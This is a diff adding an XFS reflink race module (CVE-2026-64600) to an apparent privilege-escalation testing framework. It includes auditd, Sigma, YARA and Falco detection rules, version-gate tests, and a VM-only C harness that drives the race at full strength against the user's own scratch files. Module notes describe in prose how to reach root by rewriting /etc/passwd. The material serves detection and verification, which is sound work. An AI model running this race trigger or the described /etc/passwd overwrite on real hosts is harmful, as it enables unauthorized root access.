path[PATH_MAX]; + snprintf(path, sizeof path, "%s/%s", dir, e->d_name); + struct stat st; + if (lstat(path, &st) != 0) continue; + if (S_ISDIR(st.st_mode)) { rfx_remove_scratch(path); removed++; } + else if (unlink(path) == 0) { removed++; } + } + closedir(d); + + if (!ctx->json) + fprintf(stderr, "[+] refluxfs: cleaned %d leftover scratch entr%s under " + "%s\n", removed, removed == 1 ? "y" : "ies", dir); + return SKELETONKEY_OK; +} + +#else /* !__linux__ */ + +static skeletonkey_result_t refluxfs_detect(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->json) + fprintf(stderr, "[i] refluxfs: Linux-only module (XFS reflink CoW race) " + "— not applicable here\n"); + return SKELETONKEY_PRECOND_FAIL; +} +static skeletonkey_result_t refluxfs_exploit(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + fprintf(stderr, "[-] refluxfs: Linux-only module — cannot run here\n"); + return SKELETONKEY_PRECOND_FAIL; +} +static skeletonkey_result_t refluxfs_cleanup(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + return SKELETONKEY_OK; +} + +#endif /* __linux__ */ + +/* ----- Embedded detection rules ----- + * + * Read this before deploying, because RefluXFS inverts the usual assumption: + * + * THE OBVIOUS RULE DOES NOT WORK. The canonical file-integrity anchors for a + * /etc/passwd overwrite — `-w /etc/passwd -p wa`, AIDE/Tripwire mtime+size + * comparison, `auditctl` watches on the inode — DO NOT FIRE for this CVE. The + * attacker never issues a write(2) against the victim inode; XFS applies their + * data to the shared physical block underneath it. Size, mtime and ctime are + * unchanged, and there is no kernel log output. Anyone relying on FIM to catch + * a passwd modification is blind to this bug by construction. + * + * WHAT DOES WORK, in descending order of fidelity: + * 1. The reflink itself. ioctl(fd, FICLONE=0x40049409, srcfd) is rare on a + * normal server and auditd can match the request number exactly. The + * attack REQUIRES cloning the victim file, so this is on the critical + * path. Tune out cp --reflink=auto / podman / systemd-nspawn image work. + * 2. O_DIRECT opens (openat flags & 0x4000). Also on the critical path, and + * rare outside databases and backup agents. + * 3. Content-vs-metadata drift. Because the on-disk bytes change while mtime + * does not, hashing /etc/passwd, /etc/shadow and the setuid binaries on a + * schedule and alerting when the CONTENT hash moves without a + * corresponding mtime change is a near-zero-false-positive detector for + * this class. That is what the yara rule below is for. + * Correlate 1 and 2 per-pid inside a short window; individually each is benign. + */ +static const char refluxfs_auditd[] = + "# RefluXFS — XFS reflink CoW ILOCK race (CVE-2026-64600) — auditd rules\n" + "#\n" + "# IMPORTANT: do NOT rely on `-w /etc/passwd -p wa` for this CVE. The\n" + "# overwrite is applied to the shared physical block beneath the inode; no\n" + "# write(2) ever targets /etc/passwd, and its mtime/ctime/size do not\n" + "# change. That watch will never fire. The rules below anchor on the two\n" + "# operations the attack cannot avoid.\n" + "#\n" + "# 1. The reflink clone. FICLONE = 0x40049409 (_IOW(0x94, 9, int)); matched\n" + "# exactly on the ioctl request argument, so this does not flood. If your\n" + "# auditctl build rejects hex in an argument field, use decimal 1074041865.\n" + "-a always,exit -F arch=b64 -S ioctl -F a1=0x40049409 -k skeletonkey-refluxfs-ficlone\n" + "# 2. O_DIRECT opens (O_DIRECT = 0x4000 = 16384 on x86_64/arm64; it is 0x10000\n" + "# on some other arches, so adjust if you deploy beyond x86_64/arm64). The\n" + "# race needs direct I/O to reach xfs_direct_write_iomap_begin. Tune out\n" + "# database and backup service accounts before enabling fleet-wide.\n" + "-a always,exit -F arch=b64 -S openat -F a2&0x4000 -k skeletonkey-refluxfs-odirect\n" + "# 3. Post-exploitation fallback: unprivileged process -> euid 0 with no\n" + "# setuid execve (e.g. `su` after the passwd rewrite).\n" + "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-refluxfs-priv\n" + "-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-refluxfs-priv\n"; + +static const char refluxfs_sigma[] = + "title: Possible CVE-2026-64600 RefluXFS XFS reflink CoW race exploitation\n" + "id: 7c1e9d52-skeletonkey-refluxfs\n" + "status: experimental\n" + "description: |\n" + " RefluXFS (CVE-2026-64600) lets any unprivileged user with write access to\n" + " a reflink-enabled XFS volume overwrite the on-disk contents of any file\n" + " they can read, by racing two O_DIRECT writers through the XFS CoW path\n" + " while the ILOCK is dropped to wait for transaction log space.\n" + " Detection note: file-integrity monitoring on the victim file DOES NOT\n" + " fire — the write bypasses the inode, leaving mtime/ctime/size untouched\n" + " and producing no kernel log output. This rule therefore keys on the two\n" + " operations the attack requires: an FICLONE reflink (ioctl request\n" + " 0x40049409) and O_DIRECT opens, correlated to the same process, plus the\n" + " post-exploitation euid-0 transition. Expect false positives from\n" + " cp --reflink, container image layering, databases and backup agents.\n" + "logsource: {product: linux, service: auditd}\n" + "detection:\n" + " ficlone: {type: 'SYSCALL', syscall: 'ioctl', a1: '0x40049409'}\n" + " odirect: {type: 'SYSCALL', syscall: 'openat', key: 'skeletonkey-refluxfs-odirect'}\n" + " uid0: {type: 'SYSCALL', syscall: 'setresuid', a0: 0, a1: 0, a2: 0}\n" + " unpriv: {auid|expression: '>= 1000'}\n" + " timeframe: 60s\n" + " condition: (ficlone and odirect) or (uid0 and unpriv)\n" + "level: high\n" + "tags: [attack.privilege_escalation, attack.t1068, cve.2026.64600]\n"; + +/* Unusually for a kernel bug, a yara rule is the RIGHT tool here — precisely + * because the on-disk artifact is a content change that leaves no metadata + * trace for FIM to catch. Scan /etc/passwd content, not its stat(2). */ +static const char refluxfs_yara[] = + "rule refluxfs_passwd_root_bypass : cve_2026_64600 lpe file_overwrite\n" + "{\n" + " meta:\n" + " cve = \"CVE-2026-64600\"\n" + " description = \"RefluXFS (CVE-2026-64600) on-disk artifact: an /etc/passwd whose root entry has an empty password field, or an added uid-0 account. Content scanning is the right detector for this CVE because the overwrite bypasses the victim inode entirely — mtime/ctime/size never change and nothing is logged, so FIM and auditd file watches never fire. Pair with content-hash-vs-mtime drift monitoring.\"\n" + " author = \"SKELETONKEY\"\n" + " reference = \"https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt\"\n" + " strings:\n" + " // Canonical PoC outcome: root left with no password hash at all.\n" + " $root_nopass_sof = \"root::0:0:\"\n" + " $root_nopass_bol = \"\\nroot::0:0:\"\n" + " // A second uid-0 account appended by an attacker.\n" + " $extra_uid0 = /\\n[a-z_][a-z0-9_-]{0,30}:[^:\\n]{0,64}:0:0:/\n" + " // Shape anchor so we only match passwd-formatted files.\n" + " $passwd_shape = /root:[^:\\n]{0,64}:0:0:/\n" + " condition:\n" + " $passwd_shape and\n" + " ($root_nopass_sof at 0 or $root_nopass_bol or $extra_uid0)\n" + "}\n"; + +static const char refluxfs_falco[] = + "- rule: XFS reflink clone plus O_DIRECT write burst (possible CVE-2026-64600)\n" + " desc: |\n" + " RefluXFS (CVE-2026-64600) XFS reflink copy-on-write race. The attack must\n" + " reflink-clone the file it wants to overwrite and then issue concurrent\n" + " O_DIRECT writes against the clone, so the highest-fidelity signal is an\n" + " FICLONE ioctl (request 0x40049409) whose SOURCE file is owned by another\n" + " user - a normal workload almost never reflinks a file it does not own -\n" + " followed by O_DIRECT opens from the same pid. Requires an ioctl-aware\n" + " probe that exposes the request argument; where that is unavailable, fall\n" + " back to the O_DIRECT and euid-0 conditions below. Note that watching the\n" + " victim file for writes is useless here: the overwrite never touches its\n" + " inode, so no write event is ever emitted for it.\n" + " condition: >\n" + " (evt.type = ioctl and evt.arg.request = 0x40049409 and user.uid != 0) or\n" + " (evt.type = open and evt.arg.flags contains O_DIRECT and\n" + " fd.name startswith /var/tmp and user.uid != 0) or\n" + " (evt.type in (setuid, setresuid) and evt.arg.uid = 0 and\n" + " not proc.is_setuid = true and user.uid != 0)\n" + " output: >\n" + " Possible CVE-2026-64600 RefluXFS reflink CoW race\n" + " (user=%user.name proc=%proc.name pid=%proc.pid ppid=%proc.ppid evt=%evt.type fd=%fd.name)\n" + " priority: WARNING\n" + " tags: [filesystem, mitre_privilege_escalation, T1068, cve.2026.64600]\n"; + +const struct skeletonkey_module refluxfs_module = { + .name = "refluxfs", + .cve = "CVE-2026-64600", + .summary = "XFS reflink CoW ILOCK-cycling race (\"RefluXFS\") — a stale data-fork mapping makes a direct-I/O writer treat a still-shared block as private, overwriting the on-disk contents of any readable file; unprivileged, no userns, no offsets", + .family = "xfs", + .kernel_range = "4.11 <= K < fix (introduced 3c68d44a2b49, direct-I/O CoW allocation in iomap_begin); fixed 2f4acd0fcd86 (\"xfs: resample the data fork mapping after cycling ILOCK\", mainline 7.2-rc4, merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96; the 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 / 4.18 LTS lines have no upstream stable fix in the CNA record at time of writing (vendors backport without bumping the base version); < 4.11 not affected. Reachable only where an XFS filesystem with reflink=1 is mounted and writable — the mkfs.xfs default since xfsprogs 5.1, and the installer default on RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server >= 31 and Amazon Linux 2023", + .detect = refluxfs_detect, + .exploit = refluxfs_exploit, + .mitigate = NULL, /* no runtime mitigation exists: reflink is a superblock feature that cannot be disabled on a live filesystem, O_DIRECT cannot be turned off, and SELinux/seccomp/KASLR/SMEP/SMAP are all irrelevant to a data-oriented bug. Patch the kernel and reboot. */ + .cleanup = refluxfs_cleanup, + .detect_auditd = refluxfs_auditd, + .detect_sigma = refluxfs_sigma, + .detect_yara = refluxfs_yara, + .detect_falco = refluxfs_falco, + .opsec_notes = "detect() combines a kernel-version gate (vulnerable iff >= 4.11 AND below the on-branch fix: backports 7.1.4 / 6.18.39 / 6.12.96, 7.2+ inherits mainline; the 6.6/6.1/5.15/5.14/5.10/4.19/4.18 lines have no upstream fix yet) with a REAL precondition probe — a writable directory on a mounted XFS filesystem, identified by statfs(2) f_type == XFS_SUPER_MAGIC rather than by a successful FICLONE, because btrfs implements FICLONE too and is unaffected. Without such a directory the verdict is PRECOND_FAIL, which is the correct answer on a stock Debian/Ubuntu host. Passively this touches nothing; under --active it additionally writes and removes two 4 KiB files to confirm reflink=1 via FICLONE. Override with SKELETONKEY_XFS_ASSUME_REFLINK=1/0. Big caveat: the exposed population is overwhelmingly RHEL-family and those vendors backport without bumping the upstream version, so on rpm-family hosts a VULNERABLE verdict speaks only to the upstream base version — detect() prints that warning rather than implying it checked the erratum. exploit() forks an isolated child that creates a private mkdtemp scratch directory on the XFS mount and works ONLY on two files it owns: (A) it writes a donor, FICLONE-clones it, and confirms via FIEMAP that the clone's extent carries FIEMAP_EXTENT_SHARED — a read-only, deterministic observation that the refcount-btree state the bug misjudges exists here, plus an O_DIRECT open check; then (B) it races 8 concurrent O_DIRECT 4 KiB writes against the clone with 2 ftruncate/fdatasync helpers cycling the ILOCK, for at most 16 rounds / 2 s, and stops — deliberately under-driven against the public PoC's 32 writers and 8 helpers. It reads the donor back with O_DIRECT (a buffered read would be served from the page cache the corruption bypasses) and reports divergence honestly. It NEVER clones or targets a file it does not own: the step that yields root — reflink-cloning /etc/passwd into a writable dir and racing writes onto its shared blocks, then `su` — persistently rewrites a system file on disk with no undo and is documented but NOT bundled. Always returns EXPLOIT_FAIL. Telemetry footprint — an ioctl(FICLONE) burst, many O_DIRECT opens of the same path, and ftruncate/fdatasync churn, all inside a scratch dir named skeletonkey-refluxfs-*; no kernel log output, no dmesg lines, and no panic/oops risk whatsoever since the bug corrupts file data rather than kernel memory (a won race damages 4 KiB of our own scratch file and nothing else — the reason this ranks far above bad_epoll/ghostlock in --auto safety despite being unverified). Artifacts are removed on every normal path; --cleanup sweeps skeletonkey-refluxfs-* leftovers if a run was killed. Blue-team note worth repeating: file-integrity monitoring on the victim file does NOT detect this attack, because the overwrite never touches the victim's inode and leaves mtime/ctime/size unchanged.", + .arch_support = "any", +}; + +void skeletonkey_register_refluxfs(void) +{ + skeletonkey_register(&refluxfs_module); +} diff --git a/modules/refluxfs_cve_2026_64600/skeletonkey_modules.h b/modules/refluxfs_cve_2026_64600/skeletonkey_modules.h new file mode 100644 index 0000000..335f462 --- /dev/null +++ b/modules/refluxfs_cve_2026_64600/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * refluxfs_cve_2026_64600 — SKELETONKEY module registry hook + */ + +#ifndef REFLUXFS_SKELETONKEY_MODULES_H +#define REFLUXFS_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module refluxfs_module; + +#endif diff --git a/skeletonkey.c b/skeletonkey.c index fa4a6a3..c7599bb 100644 --- a/skeletonkey.c +++ b/skeletonkey.c @@ -35,7 +35,7 @@ #include #include -#define SKELETONKEY_VERSION "0.9.13" +#define SKELETONKEY_VERSION "0.9.14" static const char BANNER[] = "\n" @@ -1018,6 +1018,7 @@ static int module_safety_rank(const char *n) if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */ if (!strcmp(n, "cifswitch")) return 86; /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */ if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */ + if (!strcmp(n, "refluxfs")) return 55; /* XFS reflink CoW race; DATA-oriented — a won race rewrites 4 KiB of our own scratch file and cannot touch kernel memory (no oops/KASAN/panic path, unlike bad_epoll/ghostlock), but the trigger is reconstructed and not VM-verified */ if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */ if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */ if (!strcmp(n, "stackrot")) return 15; /* very low win% */ diff --git a/tests/test_detect.c b/tests/test_detect.c index b2ea915..76f2961 100644 --- a/tests/test_detect.c +++ b/tests/test_detect.c @@ -74,6 +74,7 @@ extern const struct skeletonkey_module cifswitch_module; extern const struct skeletonkey_module nft_catchall_module; extern const struct skeletonkey_module bad_epoll_module; extern const struct skeletonkey_module ghostlock_module; +extern const struct skeletonkey_module refluxfs_module; static int g_pass = 0; static int g_fail = 0; @@ -1010,6 +1011,127 @@ static void run_all(void) &ghostlock_module, &h_ghl_710, SKELETONKEY_OK); + /* ── refluxfs (CVE-2026-64600) ─────────────────────────────── + * Version gate over a THREE-branch backport table (fixed 7.1.4 / + * 6.18.39 / 6.12.96 on-branch, 7.2+ inherits mainline; introduced + * 4.11) AND a storage precondition: the XFS reflink CoW race is only + * reachable where a writable XFS filesystem is mounted, so a + * vulnerable kernel on an ext4/btrfs-only host is PRECOND_FAIL, not + * VULNERABLE. We drive that deterministically with + * SKELETONKEY_XFS_ASSUME_REFLINK (1=reachable, 0=no XFS) so the rows + * don't depend on the CI runner having an XFS volume. Patched and + * predates-the-bug rows return OK before the probe is consulted, so + * they hold regardless of the override. + * + * The RHEL-family base versions carry real weight here: 4.18 (el8) + * and 5.14 (el9) are the primary affected population and sit below + * every table entry. Note those vendors backport without bumping the + * upstream version — detect() warns about that at runtime; these rows + * pin the upstream-version behaviour only. */ + setenv("SKELETONKEY_XFS_ASSUME_REFLINK", "1", 1); + + /* 3.10.0 — RHEL/CentOS 7; predates reflink entirely → OK */ + struct skeletonkey_host h_rfx_3100 = + mk_host(h_kernel_6_12, 3, 10, 0, "3.10.0-el7-test"); + run_one("refluxfs: 3.10.0 (el7) predates XFS reflink → OK", + &refluxfs_module, &h_rfx_3100, + SKELETONKEY_OK); + + /* 4.10.0 — one below the 4.11 introduction → OK */ + struct skeletonkey_host h_rfx_4100 = + mk_host(h_kernel_6_12, 4, 10, 0, "4.10.0-test"); + run_one("refluxfs: 4.10.0 one below the 4.11 introduction → OK", + &refluxfs_module, &h_rfx_4100, + SKELETONKEY_OK); + + /* 4.18.0 — RHEL 8 upstream base, below every entry → VULNERABLE */ + struct skeletonkey_host h_rfx_4180 = + mk_host(h_kernel_6_12, 4, 18, 0, "4.18.0-el8-test"); + run_one("refluxfs: 4.18.0 (el8 base) + XFS → VULNERABLE", + &refluxfs_module, &h_rfx_4180, + SKELETONKEY_VULNERABLE); + + /* 5.14.0 — RHEL 9 upstream base → VULNERABLE */ + struct skeletonkey_host h_rfx_5140 = + mk_host(h_kernel_6_12, 5, 14, 0, "5.14.0-el9-test"); + run_one("refluxfs: 5.14.0 (el9 base) + XFS → VULNERABLE", + &refluxfs_module, &h_rfx_5140, + SKELETONKEY_VULNERABLE); + + /* 6.1.100 — LTS branch with no published backport → VULNERABLE */ + struct skeletonkey_host h_rfx_61100 = + mk_host(h_kernel_6_12, 6, 1, 100, "6.1.100-test"); + run_one("refluxfs: 6.1.100 (LTS, no upstream fix) → VULNERABLE", + &refluxfs_module, &h_rfx_61100, + SKELETONKEY_VULNERABLE); + + /* 6.12.95 one below the 6.12.96 backport → VULNERABLE */ + struct skeletonkey_host h_rfx_61295 = + mk_host(h_kernel_6_12, 6, 12, 95, "6.12.95-test"); + run_one("refluxfs: 6.12.95 below the 6.12.96 backport → VULNERABLE", + &refluxfs_module, &h_rfx_61295, + SKELETONKEY_VULNERABLE); + + /* 6.12.96 exact backport → OK via patch table */ + struct skeletonkey_host h_rfx_61296 = + mk_host(h_kernel_6_12, 6, 12, 96, "6.12.96-test"); + run_one("refluxfs: 6.12.96 (exact backport) → OK via patch table", + &refluxfs_module, &h_rfx_61296, + SKELETONKEY_OK); + + /* 6.13.0 — newer than 6.12.96 but OLDER than 6.18.39/7.1.4, an EOL + * branch with no fix → must stay VULNERABLE ("newer than ALL" test). */ + struct skeletonkey_host h_rfx_6130 = + mk_host(h_kernel_6_12, 6, 13, 0, "6.13.0-test"); + run_one("refluxfs: 6.13.0 newer than some entries but not all → VULNERABLE", + &refluxfs_module, &h_rfx_6130, + SKELETONKEY_VULNERABLE); + + /* 6.18.38 one below the 6.18.39 backport → VULNERABLE */ + struct skeletonkey_host h_rfx_61838 = + mk_host(h_kernel_6_12, 6, 18, 38, "6.18.38-test"); + run_one("refluxfs: 6.18.38 below the 6.18.39 backport → VULNERABLE", + &refluxfs_module, &h_rfx_61838, + SKELETONKEY_VULNERABLE); + + /* 6.18.39 exact backport → OK */ + struct skeletonkey_host h_rfx_61839 = + mk_host(h_kernel_6_12, 6, 18, 39, "6.18.39-test"); + run_one("refluxfs: 6.18.39 (exact backport) → OK via patch table", + &refluxfs_module, &h_rfx_61839, + SKELETONKEY_OK); + + /* 7.1.3 one below the 7.1.4 backport → VULNERABLE */ + struct skeletonkey_host h_rfx_713 = + mk_host(h_kernel_6_12, 7, 1, 3, "7.1.3-test"); + run_one("refluxfs: 7.1.3 below the 7.1.4 backport → VULNERABLE", + &refluxfs_module, &h_rfx_713, + SKELETONKEY_VULNERABLE); + + /* 7.1.4 exact backport → OK */ + struct skeletonkey_host h_rfx_714 = + mk_host(h_kernel_6_12, 7, 1, 4, "7.1.4-test"); + run_one("refluxfs: 7.1.4 (exact backport) → OK via patch table", + &refluxfs_module, &h_rfx_714, + SKELETONKEY_OK); + + /* 7.2.0 newer than every entry → mainline-inherited fix + * (2f4acd0fcd86 shipped in 7.2-rc4) → OK */ + struct skeletonkey_host h_rfx_720 = + mk_host(h_kernel_6_12, 7, 2, 0, "7.2.0-test"); + run_one("refluxfs: 7.2.0 above all backports → OK (mainline inherit)", + &refluxfs_module, &h_rfx_720, + SKELETONKEY_OK); + + /* Same vulnerable kernel, but no writable XFS filesystem mounted — + * the stock Debian/Ubuntu (ext4) case. The bug is unreachable, so the + * honest verdict is PRECOND_FAIL rather than VULNERABLE. */ + setenv("SKELETONKEY_XFS_ASSUME_REFLINK", "0", 1); + run_one("refluxfs: 6.12.95 but no XFS mounted → PRECOND_FAIL", + &refluxfs_module, &h_rfx_61295, + SKELETONKEY_PRECOND_FAIL); + unsetenv("SKELETONKEY_XFS_ASSUME_REFLINK"); + /* ── coverage report ───────────────────────────────────────── * Iterate the runtime registry (populated by skeletonkey_register_* * calls in main()) and warn for any module that was not touched diff --git a/tools/verify-vm/refluxfs_verify.c b/tools/verify-vm/refluxfs_verify.c new file mode 100644 index 0000000..2ff8e54 --- /dev/null +++ b/tools/verify-vm/refluxfs_verify.c @@ -0,0 +1,155 @@ +/* + * refluxfs_verify.c — VM-ONLY verification harness for CVE-2026-64600. + * + * NOT part of SKELETONKEY. This exists to answer one question that the + * shipped module deliberately refuses to answer: is THIS kernel actually + * vulnerable? The shipped trigger is intentionally under-driven (8 writers / + * 2 helpers / 2s) so it never grinds toward a win on a production box. Here, + * inside a throwaway VM, we drive it at the public PoC's parameters + * (32 writers / 8 helpers) for a real time budget. + * + * It is still confined to files THIS USER OWNS in a private scratch dir. It + * does not clone, read, or touch /etc/passwd or any other file we do not own. + * A win corrupts 4 KiB of our own donor file and nothing else. + */ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define BLK 4096u +#define ALIGN 4096u +#define DONOR_BYTE 0x5a +#define ATTACK_BYTE 0x41 + +#ifndef FICLONE +#define FICLONE _IOW(0x94, 9, int) +#endif + +static int WRITERS = 32; /* public PoC parameter */ +static int HELPERS = 8; /* public PoC parameter */ +static int BUDGET = 60; /* seconds */ + +static char donor[1024], clonep[1024]; +static atomic_int gate, stop; + +static void *writer_fn(void *a) +{ + (void)a; + int fd = open(clonep, O_RDWR | O_DIRECT); + if (fd < 0) return NULL; + void *buf = NULL; + if (posix_memalign(&buf, ALIGN, BLK) != 0) { close(fd); return NULL; } + memset(buf, ATTACK_BYTE, BLK); + while (!atomic_load_explicit(&gate, memory_order_acquire)) sched_yield(); + (void)!pwrite(fd, buf, BLK, 0); + free(buf); close(fd); + return NULL; +} + +static void *helper_fn(void *a) +{ + (void)a; + int fd = open(clonep, O_RDWR); + if (fd < 0) return NULL; + while (!atomic_load_explicit(&gate, memory_order_acquire)) sched_yield(); + while (!atomic_load_explicit(&stop, memory_order_acquire)) { + (void)!ftruncate(fd, (off_t)BLK * 2); (void)fdatasync(fd); + (void)!ftruncate(fd, (off_t)BLK); (void)fdatasync(fd); + } + close(fd); + return NULL; +} + +static int build_pair(void) +{ + int dfd = open(donor, O_RDWR | O_CREAT | O_TRUNC, 0600); + if (dfd < 0) return -1; + void *buf = NULL; + if (posix_memalign(&buf, ALIGN, BLK) != 0) { close(dfd); return -1; } + memset(buf, DONOR_BYTE, BLK); + ssize_t w = pwrite(dfd, buf, BLK, 0); + free(buf); + if (w != (ssize_t)BLK) { close(dfd); return -1; } + (void)fsync(dfd); + + int cfd = open(clonep, O_RDWR | O_CREAT | O_TRUNC, 0600); + if (cfd < 0) { close(dfd); return -1; } + int rc = ioctl(cfd, FICLONE, dfd) == 0 ? 0 : -1; + (void)fsync(cfd); + close(cfd); close(dfd); + return rc; +} + +/* O_DIRECT read: the corruption lands under the inode, so a buffered read + * would be served from a stale (correct-looking) page and hide a win. */ +static int donor_diverged(void) +{ + int fd = open(donor, O_RDONLY | O_DIRECT); + if (fd < 0) return -1; + void *buf = NULL; + if (posix_memalign(&buf, ALIGN, BLK) != 0) { close(fd); return -1; } + int rc = -1; + if (pread(fd, buf, BLK, 0) == (ssize_t)BLK) { + const unsigned char *p = buf; + rc = 0; + for (size_t i = 0; i < BLK; i++) if (p[i] != DONOR_BYTE) { rc = 1; break; } + } + free(buf); close(fd); + return rc; +} + +int main(int argc, char **argv) +{ + const char *dir = argc > 1 ? argv[1] : "/var/tmp"; + if (argc > 2) BUDGET = atoi(argv[2]); + + char scratch[1024]; + snprintf(scratch, sizeof scratch, "%s/rfxverify-XXXXXX", dir); + if (!mkdtemp(scratch)) { perror("mkdtemp"); return 1; } + snprintf(donor, sizeof donor, "%s/donor", scratch); + snprintf(clonep, sizeof clonep, "%s/clone", scratch); + + printf("[*] refluxfs verify: %d writers, %d helpers, %ds budget, scratch=%s\n", + WRITERS, HELPERS, BUDGET, scratch); + + pthread_t *w = calloc(WRITERS, sizeof *w); + pthread_t *h = calloc(HELPERS, sizeof *h); + int won = 0; long rounds = 0; + time_t deadline = time(NULL) + BUDGET; + + while (time(NULL) < deadline && !won) { + if (build_pair() != 0) { fprintf(stderr, "[-] FICLONE failed\n"); break; } + atomic_store(&gate, 0); atomic_store(&stop, 0); + + int nw = 0, nh = 0; + for (int i = 0; i < WRITERS; i++) if (!pthread_create(&w[nw], NULL, writer_fn, NULL)) nw++; + for (int i = 0; i < HELPERS; i++) if (!pthread_create(&h[nh], NULL, helper_fn, NULL)) nh++; + usleep(1500); + atomic_store(&gate, 1); + for (int i = 0; i < nw; i++) pthread_join(w[i], NULL); + atomic_store(&stop, 1); + for (int i = 0; i < nh; i++) pthread_join(h[i], NULL); + + rounds++; + if (donor_diverged() == 1) won = 1; + if ((rounds % 200) == 0) { printf(" ... %ld rounds\n", rounds); fflush(stdout); } + } + + printf("%s after %ld rounds\n", + won ? "[!] RACE WON — donor's on-disk bytes were rewritten through a still-shared block" + : "[i] no divergence observed", rounds); + + unlink(donor); unlink(clonep); rmdir(scratch); + free(w); free(h); + return won ? 2 : 0; +} diff --git a/tools/verify-vm/targets.yaml b/tools/verify-vm/targets.yaml index 6c2aa6b..238cef0 100644 --- a/tools/verify-vm/targets.yaml +++ b/tools/verify-vm/targets.yaml @@ -334,6 +334,16 @@ bad_epoll: expect_detect: VULNERABLE notes: "CVE-2026-46242 'Bad Epoll'; epoll ep_remove-vs-__fput teardown race UAF (Jaeyoung Chung / J-jaeyoung kernelCTF PoC). Introduced 6.4 (58c9b016e128); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1); trixie 6.12.x still vulnerable, 6.1/5.10 not affected (code not present). detect() is a PURE version gate — no userns/CONFIG probe, because epoll is reachable by every unprivileged user; on Ubuntu 24.04 stock 6.8.0 (in [6.4, 7.0.13)) it returns VULNERABLE. To also confirm the PATCHED verdict, boot a >= 7.0.13 / 7.1 kernel and expect OK. exploit() forks a CPU-pinned child that builds the epoll race pair (waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a HARD-BOUNDED 48 attempts / 2s, widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. DELIBERATELY UNDER-DRIVEN: a won race frees a live struct eventpoll (real corruption that rarely trips KASAN → possible SILENT destabilisation on a vulnerable host), so the module does NOT grind the race to a win, does NOT perform the cross-cache reclaim, and does NOT bundle the /proc/self/fdinfo arb-read + ROP root-pop. Trigger RECONSTRUCTED from the public kernelCTF PoC — NOT VM-verified. Lowest --auto safety rank (12). Provisioner caution: run only in a throwaway VM/snapshot — even the bounded trigger can, on a rare win, corrupt or panic a vulnerable kernel. Detection is intentionally weak (epoll syscalls ubiquitous); no yara. Sweep + trigger validation pending." +# ── refluxfs (CVE-2026-64600) addition ────────────────────────────── + +refluxfs: + box: rocky9-genericcloud # NOT a Vagrant box — Rocky-9-GenericCloud-Base.latest.x86_64.qcow2 booted under qemu/KVM + kernel_pkg: "" # stock 5.14.0-687.10.1.el9_8.0.1 — below every backport entry (6.12.96/6.18.39/7.1.4) → VULNERABLE by version + kernel_version: "5.14.0" + expect_detect: VULNERABLE + verified: "2026-07-23 — CONFIRMED on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64, qemu/KVM, 6 vCPUs. The corpus's FIRST rpm-family verification. Stock GenericCloud layout needed NO provisioner changes: root is /dev/vda4 XFS with reflink=1 out of the box, which is exactly why this CVE hits the RHEL family so broadly. Results: detect() -> VULNERABLE (found writable XFS at /var/tmp); the rpm-family vendor-backport caveat fired correctly; `--active` FICLONE witness -> reflink CONFIRMED; phase A observed FIEMAP_EXTENT_SHARED on a real shared extent (note: btrfs never reported that flag during host-side testing, XFS does — which is why the module treats FICLONE success, not FIEMAP, as the authoritative gate); O_DIRECT available; scratch dir self-cleaned with no artifacts; the source also built clean on el9 gcc. The SHIPPED trigger (8 writers / 2 helpers / 16 rounds / 2s) ran and did NOT win — that is INTENDED under-driving, not a defect. THE UNDERLYING BUG WAS SEPARATELY CONFIRMED WINNABLE on this kernel via the VM-only harness tools/verify-vm/refluxfs_verify.c, driven at the public PoC's parameters (32 writers / 8 helpers, 60s budget): 4/4 runs won, first divergence after 69, 114, 170 and 494 rounds — a racing O_DIRECT write landed on a still-shared block and rewrote the donor's on-disk bytes, i.e. the arbitrary-overwrite primitive observed directly, contained to files the test user owned. No oops, no dmesg output, no instability — consistent with a data-oriented bug. Takeaway for future sweeps: a non-win from the shipped trigger must NEVER be recorded as 'patched'; trust the version gate and the vendor erratum." + notes: "CVE-2026-64600 'RefluXFS'; XFS reflink CoW ILOCK-cycling TOCTOU race (Qualys TRU, Saeed Abbasi; advisory credits model-assisted analysis with Anthropic; video PoC on RHEL 10.2). Introduced 4.11 (3c68d44a2b49, direct-I/O CoW alloc in iomap_begin); fixed 2f4acd0fcd86 (mainline 7.2-rc4, merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96; the 6.6/6.1/5.15/5.14/5.10/4.19/4.18 lines have no upstream stable fix. PROVISIONER REQUIREMENT — unlike every other module in this matrix, detect() has a STORAGE precondition, and all five boxes here are Debian/Ubuntu with ext4 roots, so a stock box correctly returns PRECOND_FAIL. To exercise the VULNERABLE path the provisioner must create a reflink-enabled XFS volume the unprivileged user can write to, e.g.: `truncate -s 2G /var/tmp/xfs.img && mkfs.xfs -m reflink=1 /var/tmp/xfs.img && mkdir -p /mnt/xfs && mount -o loop /var/tmp/xfs.img /mnt/xfs && chmod 1777 /mnt/xfs` (Ubuntu 22.04 ships xfsprogs 5.13, where reflink=1 is already the mkfs default). detect() finds it by scanning /proc/mounts for fstype xfs and confirming statfs() f_type == XFS_SUPER_MAGIC 